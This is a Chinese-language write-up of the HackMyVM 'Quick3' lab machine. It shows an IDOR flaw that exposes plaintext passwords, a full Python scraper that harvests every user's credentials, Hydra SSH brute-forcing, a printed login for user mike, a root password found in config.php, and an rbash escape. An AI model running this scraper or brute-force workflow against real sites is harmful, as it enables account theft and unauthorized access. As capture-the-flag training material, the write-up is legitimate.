HackMyVM-Quick3

简介

  • 靶场地址:
  • 难度:简单
    image

环境:
  攻击机:kali 192.168.43.29
  靶机:virtualbox 192.168.43.29

开始渗透

惯例,先用nmap扫一下开放的端口
image

  • 22 ssh服务
  • 80 http服务


    访问80端口的网页,简单浏览一下,在192.168.43.29/customer/这个地方存在一个登录口。
    我们把这点先记下来,看看还有没有其他可能的突破点。用dirsearch扫一下,没有发现隐藏的入口了。
    image
    那就从这个登录框开始:
  • 先用网页中暴露的一些几个邮箱试一下几个弱密码和sql注入万能密码,尝试能否登录。
  • 并没有什么进展,那么就直接创建一个账户,然后登录
    image
    成功进入后台页面
    image

进入右上角的 "My Profile",这个时候发现url里面出现了"?id=28",从而联想到了sql注入。
让sqlmap跑一下,没有发现注入
image
这个时候改变一下id的值,发现可以直接访问到别的用户的profile

  • 点击"change password"尝试看看能不能找到密码
  • 用F12查看一下,选中密码输入框,woc密码竟然在前端明文保存了,也就是说我们可以收集到每个用户对应的名字和密码,只需要写个爬虫脚本
    image

脚本就很简单了,让ai写一下就行,我放在下面了:

import requests
from bs4 import BeautifulSoup
import time

def scrape_web_pages():
    base_url = "http://192.168.43.29/customer/user.php?id="
    results = []
    
    headers = {
        'Host': '192.168.43.29',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Cache-Control': 'no-cache',
        'Upgrade-Insecure-Requests': '1',
        'Accept-Encoding': 'gzip, deflate',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
        'Cookie': 'PHPSESSID=qjsd3ob2selmuqh79a2hm4vn8q',
        'Pragma': 'no-cache'
    }
    
    for page_id in range(1, 29):
        url = base_url + str(page_id)
        print(f"正在爬取页面 {page_id}/28: {url}")
        
        try:
            response = requests.get(url, headers=headers, timeout=10)
            response.raise_for_status()
            
            soup = BeautifulSoup(response.text, 'html.parser')
            
            contact_inner = soup.find(class_="contact_inner")
            oldpassword_input = soup.find('input', {'id': 'oldpassword', 'type': 'password'})
            
            contact_text = contact_inner.get_text(strip=True) if contact_inner else "未找到"
            password_value = oldpassword_input.get('value', "未找到") if oldpassword_input else "未找到"
            
            first_name = contact_text.split(':')[0].strip().split()[0].lower() if contact_text != "未找到" else "未找到"
            results.append(f"{first_name}:{password_value}")
            print(f"  - 成功获取: {contact_text}:{password_value}")
            
        except requests.exceptions.RequestException as e:
            print(f"  - 请求失败: {e}")
            results.append(f"页面{page_id}_请求失败=请求失败")
        
        time.sleep(0.5)
    
    return results

def save_results(results, filename="output.txt"):
    with open(filename, 'w', encoding='utf-8') as f:
        for line in results:
            f.write(line + '\n')
    print(f"\n结果已保存到 {filename}")

if __name__ == "__main__":
    scraped_data = scrape_web_pages()
    save_results(scraped_data)

成功拿到对应名字和密码
image
  因为还有一个ssh端口开着,又有了这么多用户名和对应的密码,自然是要去ssh爆破一下的
所以直接用hydra去ssh爆破一下
image
拿到用户名密码:

用户名:mike
密码:6G3UCx6aH6UYvJ6m

直接用finalshell去连接一下,拿到mike的shell,cat user.txt直接拿第一个flag
image


顺着思路传个linpeas上去看一下有没有可以提权的漏洞
image
  这里扫到了一个CVE-2021-4034这个漏洞,尝试去利用一下,发现使用poc需要安装gcc,make等系统命令。
  但是当我尝试去安装的时候,发现mike这个用户没有安装这些系统命令的权限,所以这条路就到头了qwq。
  实在没有其他思路了,看了一下其他师傅的文章,发现要去访问config.php

image
原来如此,在config.php里面写了一个"root",后面的一串字符按照前面的经验来看应该就是密码
直接su root,输入密码,成功 getshell !!!!
image
cat root.txt拿flag,成功拿下了这个靶机
image

小TIP

这里刚拿到mike的shell的时候,发现怎么都cd不到其他目录,回显一个'rbash'
我们只需要输入一个bash,然后就能cd到其他目录了
image

靶机知识点

  • ssh爆破,这里推荐hydra
    还有一个难点可能就是代码编写,不过现在有了ai就很简单了
posted @ 2026-05-31 16:34  Yhsec  阅读(8)  评论(0)    收藏  举报
//雪花飘落效果